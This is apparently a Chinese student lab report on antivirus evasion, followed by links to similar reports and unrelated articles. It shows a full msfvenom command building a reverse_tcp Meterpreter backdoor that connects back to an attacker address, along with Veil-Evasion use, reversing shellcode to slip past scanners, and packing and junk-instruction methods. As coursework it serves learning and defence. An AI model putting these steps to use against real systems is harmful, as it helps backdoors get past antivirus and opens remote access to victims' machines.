2015306 白皎 《网络攻防》Exp3 免杀原理与实践

一、实践基础

免杀,故名思义,指的是一种能使病毒木马免于被杀毒软件查杀的技术。

免杀的方法有很多,比如加壳改壳、加垃圾指令、以及修改内存特征码,在本博客后面就是通过把具有特征码的代码顺序互换一下来达到免杀的目的。

二、实践内容

第一项: Msfvenom编码器生成的程序

1.直接利用上次后门实验生成的exe文件进行检测~

可以明显的看到将近一半的杀软都可以检测出来错误,说明这个木马不行,之后我们会进行改造,尽量使文件不要被查杀出来。

2.按理论上讲,编码会降低检出率,那我们多编码几次,看一下效果。下面是编码10次的命令。

# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -i **10** -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > met-encoded10.exe

编码十次之后,我们继续进行检测。可以看到,并没有什么变化。可以得出结论,编码次数的多少对免杀效果没有积极影响。

第二项:veil-evasion生成的程序

1.直接拷了老师的虚拟机,在安装weil上没有遇到什么波折~按照老师动图的教程,启动weil,设置好回连的IP地址和端口号后,生成后门程序。然后在网站中进行检测。

可以发现,报毒率很明显降低。

第三项:用shellcode编写的程序

1.通过msf生成一个c语言格式的Shellcode数组。设置好攻击机IP地址和端口号

2.通过以下该命令进行编译。意思是将该文件编译为一个可在64位windows系统下操作的可执行文件。

3.将生成的执行文件进行检测。可以看到

4.下面进行回连,可以看到是ok的。

5.接下来又是进一步的改造。我选择的办法是将shellcode进行逆序变换,将变化后的数组放入被攻击机的程序中来尽量隐身,但是之后程序中有将其变回原形的代码。在被攻击机中需要用VS进行编译,使用教程详见如何用VS2012编写c语言?。现在在进行一次检测。

可以看到只查出一个哈哈哈!

6.用电脑杀毒软件去查杀木马病毒,也没有被查杀出来!

7.再次进行回连成功~~~

三、问题回答

1.基础问题回答

(1)杀软是如何检测出恶意代码的?

- 基于特征码的检测

- 启发式恶意软件检测

- 基于行为的恶意软件检测

(2)免杀是做什么?

使病毒木马免于被杀毒软件查杀,使攻击机安全利用

(3)免杀的基本方法有哪些?

- 加壳改壳:加壳改壳是病毒免杀常用的手段之一,加壳改壳原理是将一个木马文件加上upx壳或者其它壳后用lordpe将文件入口点加1,然后将区段字符全部去掉,然后用od打开免杀的木马在入口上下100字符内修改一些代码让杀毒软件查不出来是什么壳就不知道怎么脱就可以实现免杀的目的。
- 加花指令:加花是病毒免杀常用的手段,加花的原理就是通过添加加花指令(一些垃圾指令,类型加1减1之类的无用语句)让杀毒软件检测不到特征码,干扰杀毒软件正常的检测。 - 改程序入口点 - 免杀修改方法:直接修改特征码的十六进制法、修改字符串大小写法、等价替换法、指令顺序调换法、通用跳转法。

2.实践总结与体会

从这次的实验最直观的了解到我们日常用的杀毒软件也并不是万能的,存在着很多漏洞,因此自己在使用电脑,使用网络时要小心谨慎。

然后在做实验的过程中,可以初步了解到我们的电脑被攻击是怎么个原理。感觉懂这些技术的大神是非常酷的!!!

3.离实战还缺些什么技术或步骤?

首先,对于实战来说,木马程序如何嵌入被攻击机中。比如我们日常生活能看到的视频、网页、百度云中的一些木马程序,如何将后门加载到其中我们还需要学习。

其次,我们现在只是会非常简单的对shellcode进行一些改造,但实际上病毒库时时刻刻不再更新发展,我们更需要学会多方面技术来使不同的后门免杀。

2015306 白皎 《网络攻防》Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 20165205 网络攻防Exp3免杀原理与实践

    2018-2019-2 20165205 网络攻防Exp3免杀原理与实践 一.实践内容 1.1正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用 ...

  2. 2018-2019-2 20165312《网络攻防技术》Exp3 免杀原理与实践

    2018-2019-2 20165312<网络攻防技术>Exp3 免杀原理与实践 课上知识点总结 1.恶意软件检测机制 基于特征码的检测(需要定期更新病毒库) 启发式恶意软件检测(实时监控 ...

  3. 20145236《网络攻防》 Exp3 免杀原理与实践

    20145236<网络攻防> Exp3 免杀原理与实践 一.基础问题回答 1.杀软是如何检测出恶意代码的? 恶意代码有其特有的特征码,杀软将特征码加入检测库中,当检测到一段代码中具有这样的 ...

  4. 20155226《网络攻防》 Exp3 免杀原理与实践

    20155226<网络攻防> Exp3 免杀原理与实践 实验过程 1. msfvenom直接生成meterpreter可执行文件 直接将上周做实验时用msf生成的后门文件放在virscan ...

  5. 20155308 《网络攻防》 Exp3 免杀原理与实践

    20155308 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测 ...

  6. 20155318 《网络攻防》Exp3 免杀原理与实践

    20155318 <网络攻防>Exp3 免杀原理与实践 基础问题 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程 ...

  7. 20155321 《网络攻防》 Exp3 免杀原理与实践

    20155321 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 根据实验指导书,杀软有两个方法可以检测出恶意代码.第一种是基于特征码,即先对流行代码特 ...

  8. 20155330 《网络攻防》 Exp3 免杀原理与实践

    20155330 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征码.先对流行代码特征的提取,然后进行程序的比对,如果也检测到相应的特征码的程序 ...

  9. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

随机推荐

  1. Python 中单双引号

    TODO, 在python中, 其实单双引号还是有分别的, 具体是什么?

  2. Oracle存储过程_语法

    create or replace procedure procedure_name --存储过程名字 ( --进行输入/输出的量 量_name in out 量_类型 --e.g. username ...

  3. SQLSERVER2012里的扩展事件初尝试(上)

    SQLSERVER2012里的扩展事件初尝试(上) SQLSERVER2012里的扩展事件初尝试(下) 周未看了这两篇文章: 扩展事件在Denali CTP3里的新UI(一) 扩展事件在Denali ...

  4. 使用django的admin的后台管理界面

    django的admin后台管理界面是方便我们对数据库操作的  是一个在浏览器显示的  图形化界面数据库操作 我们先在django中的admin中把我们需要在图形化界面中进行操作的表导入进去: 先把m ...

  5. 写markdown用于Github上readme.md文件

    Markdown 文档地址 http://pan.baidu.com/s/1o6nu9To Markdown还有一系列衍生版本,用于扩展Markdown的功能(如表格.脚注.内嵌HTML等等),这些功 ...

  6. [翻译] RAReorderableLayout

    RAReorderableLayout A UICollectionView layout which you can move items with drag and drop. 一种UIColle ...

  7. 《C++ Primer Plus》读书笔记之六—函数探幽

    第八章 函数探幽 1.常规函数与内联函数的主要区别不在于编写方式,而在于C++编译器如何将它们组合到程序中. 2.常规函数调用使程序跳到另外一个地址(函数地址),并在函数结束时返回,更详细的的实现过程 ...

  8. Ogre学习教程:Ogre1.8.1+VS2010环境配置(转)

    http://blog.csdn.net/yangtrees/article/details/8724120 http://blog.csdn.net/cll611/article/details/8 ...

  9. PHP设计模式系列 - 建造者模式

    什么是建造者模式 建造者模式主要是为了消除其它对象复杂的创建过程. 设计场景 有一个用户的UserInfo类,创建这个类,需要创建用户的姓名,年龄,金钱等信息,才能获得用户具体的信息结果. 创建一个U ...

  10. MySQL知识总结(二)基本语句总结

    1. 数据库 查看数据库 show databases; 使用数据库 use [数据库名] 如:use mysql 创建数据库 CREATE DATABASE bruce DEFAULT CHARAC ...